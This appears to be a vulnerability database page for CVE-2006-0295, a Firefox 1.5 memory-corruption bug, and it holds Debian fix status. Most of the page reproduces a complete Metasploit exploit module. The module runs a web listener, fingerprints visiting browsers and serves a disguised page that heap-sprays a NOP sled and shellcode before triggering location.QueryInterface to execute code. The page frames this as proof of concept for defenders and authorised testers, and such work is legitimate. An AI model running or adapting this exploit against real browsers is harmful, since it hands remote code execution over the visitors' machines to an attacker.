CVE-2006-0295
Description
Mozilla Firefox 1.5, Thunderbird 1.5 if Javascript is enabled in mail, and SeaMonkey before 1.0 might allow remote attackers to execute arbitrary code via the QueryInterface method of the built-in Location and Navigator objects, which leads to memory corruption.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Mozilla Firefox 1.5 (OSX) - 'location.QueryInterface()' Code Execution (Metasploit)
Mozilla Firefox 1.5 (Linux) - 'location.QueryInterface()' Code Execution (Metasploit)
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::firefox_queryinterface_linux;
use strict;
use base "Msf::Exploit";
use Pex::Text;
use IO::Socket::INET;
use IPC::Open3;
my $advanced =
{
'Gzip' => [1, 'Enable gzip content encoding'],
'Chunked' => [1, 'Enable chunked transfer encoding'],
};
my $info =
{
'Name' => 'Firefox location.QueryInterface() Code Execution (Linux x86)',
'Version' => '$Revision: 1.1 $',
'Authors' =>
[
'H D Moore <hdm [at] metasploit.com>',
],
'Description' =>
Pex::Text::Freeform(qq{
This module exploits a code execution vulnerability in the Mozilla
Firefox browser. To reliably exploit this vulnerability, we need to fill
almost a gigabyte of memory with our nop sled and payload. This module has
been tested on Gentoo Linux with the stock Firefox 1.5.0 package.
}),
'Arch' => [ 'x86' ],
'OS' => [ 'linux' ],
'Priv' => 0,
'UserOpts' =>
{
'HTTPPORT' => [ 1, 'PORT', 'The local HTTP listener port', 8080 ],
'HTTPHOST' => [ 0, 'HOST', 'The local HTTP listener host', "0.0.0.0" ],
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'Keys' => ['-bind'],
},
'Refs' =>
[
['CVE', '2006-0295'],
['BID', '16476'],
['URL', 'http://www.mozilla.org/security/announce/mfsa2006-04.html'],
],
'DefaultTarget' => 0,
'Targets' =>
[
[ 'Mozilla Firefox 1.5.0.0 on Linux x86' ]
],
'Keys' => [ 'mozilla' ],
'DisclosureDate' => 'Feb 02 2006',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit
{
my $self = shift;
my $server = IO::Socket::INET->new(
LocalHost => $self->GetVar('HTTPHOST'),
LocalPort => $self->GetVar('HTTPPORT'),
ReuseAddr => 1,
Listen => 1,
Proto => 'tcp'
);
my $client;
# Did the listener create fail?
if (not defined($server)) {
$self->PrintLine("[-] Failed to create local HTTP listener on " . $self->GetVar('HTTPPORT'));
return;
}
my $httphost = ($self->GetVar('HTTPHOST') eq '0.0.0.0') ?
Pex::Utils::SourceIP('1.2.3.4') :
$self->GetVar('HTTPHOST');
$self->PrintLine("[*] Waiting for connections to http://". $httphost .":". $self->GetVar('HTTPPORT') ."/");
while (defined($client = $server->accept())) {
$self->HandleHttpClient(Msf::Socket::Tcp->new_from_socket($client));
}
return;
}
sub HandleHttpClient
{
my $self = shift;
my $fd = shift;
# Set the remote host information
my ($rport, $rhost) = ($fd->PeerPort, $fd->PeerAddr);
# Read the HTTP command
my ($cmd, $url, $proto) = split(/ /, $fd->RecvLine(10), 3);
my $agent;
# Read in the HTTP headers
while ((my $line = $fd->RecvLine(10))) {
$line =~ s/^\s+|\s+$//g;
my ($var, $val) = split(/\:/, $line, 2);
# Break out if we reach the end of the headers
last if (not defined($var) or not defined($val));
$agent = $val if $var =~ /User-Agent/i;
}
my $os = 'Unknown';
my $vl = ($agent =~ m/\/1\.5$/) ? 'Vulnerable' : 'Not Vulnerable';
$os = 'Linux' if $agent =~ /Linux/i;
$os = 'Mac OS X' if $agent =~ /OS X/i;
$os = 'Windows' if $agent =~ /Windows/i;
$self->PrintLine("[*] Client connected from $rhost:$rport ($os/$vl).");
if ($os ne 'Linux') {
$self->PrintLine("[*] Invalid target for this exploit, trying anyways...");
} else {
$self->PrintLine("[*] Sending payload and waiting for execution...");
}
my $res = $fd->Send($self->BuildResponse($self->GenerateHTML()));
$fd->Close();
}
sub JSUnescape {
my $self = shift;
my $data = shift;
my $code = '';
# Encode the shellcode via %u sequences for JS's unescape() function
my $idx = 0;
while ($idx < length($data) - 1) {
my $c1 = ord(substr($data, $idx, 1));
my $c2 = ord(substr($data, $idx+1, 1));
$code .= sprintf('%%u%.2x%.2x', $c2, $c1);
$idx += 2;
}
return $code;
}
sub GenerateHTML {
my $self = shift;
my $target = $self->Targets->[$self->GetVar('TARGET')];
my $shellcode = $self->JSUnescape($self->GetVar('EncodedPayload')->Payload);
my $data = qq#
<html>
<head>
<title>One second please...</title>
<script language="javascript">
function BodyOnLoad() {
h = FillHeap();
location.QueryInterface(eval("Components.interfaces.nsIClassInfo"));
};
function FillHeap() {
// Filler
var m = "";
var h = "";
var a = 0;
// Nop sled
for(a=0; a<(1024*512); a++)
m += unescape("\%u9090");
// Payload
m += unescape("$shellcode");
// Repeat
for(a=0; a<1024; a++)
h += m;
// Return
return h;
}
</script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
#;
return $data;
}
sub BuildResponse {
my ($self, $content) = @_;
my $response =
"HTTP/1.1 200 OK\r\n" .
"Content-Type: text/html\r\n";
if ($self->GetVar('Gzip')) {
$response .= "Content-Encoding: gzip\r\n";
$content = $self->Gzip($content);
}
if ($self->GetVar('Chunked')) {
$response .= "Transfer-Encoding: chunked\r\n";
$content = $self->Chunk($content);
} else {
$response .= 'Content-Length: ' . length($content) . "\r\n" .
"Connection: close\r\n";
}
$response .= "\r\n" . $content;
return $response;
}
sub Chunk {
my ($self, $content) = @_;
my $chunked;
while (length($content)) {
my $chunk = substr($content, 0, int(rand(10) + 1), '');
$chunked .= sprintf('%x', length($chunk)) . "\r\n$chunk\r\n";
}
$chunked .= "0\r\n\r\n";
return $chunked;
}
sub Gzip {
my $self = shift;
my $data = shift;
my $comp = int(rand(5))+5;
my($wtr, $rdr, $err);
my $pid = open3($wtr, $rdr, $err, 'gzip', '-'.$comp, '-c', '--force');
print $wtr $data;
close ($wtr);
local $/;
return (<$rdr>);
}
1;
# milw0rm.com [2006-02-07]
Mozilla Firefox - location.QueryInterface() Code Execution (Metasploit)
Metasploit modules
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.5.0.2-1 |
| sid | Fixed | 1.5.dfsg+1.5.0.1-1 |
| forky | Fixed | 1.5.0.2-1 |
| bullseye | Fixed | 1.5.0.2-1 |
| bookworm | Fixed | 1.5.0.2-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
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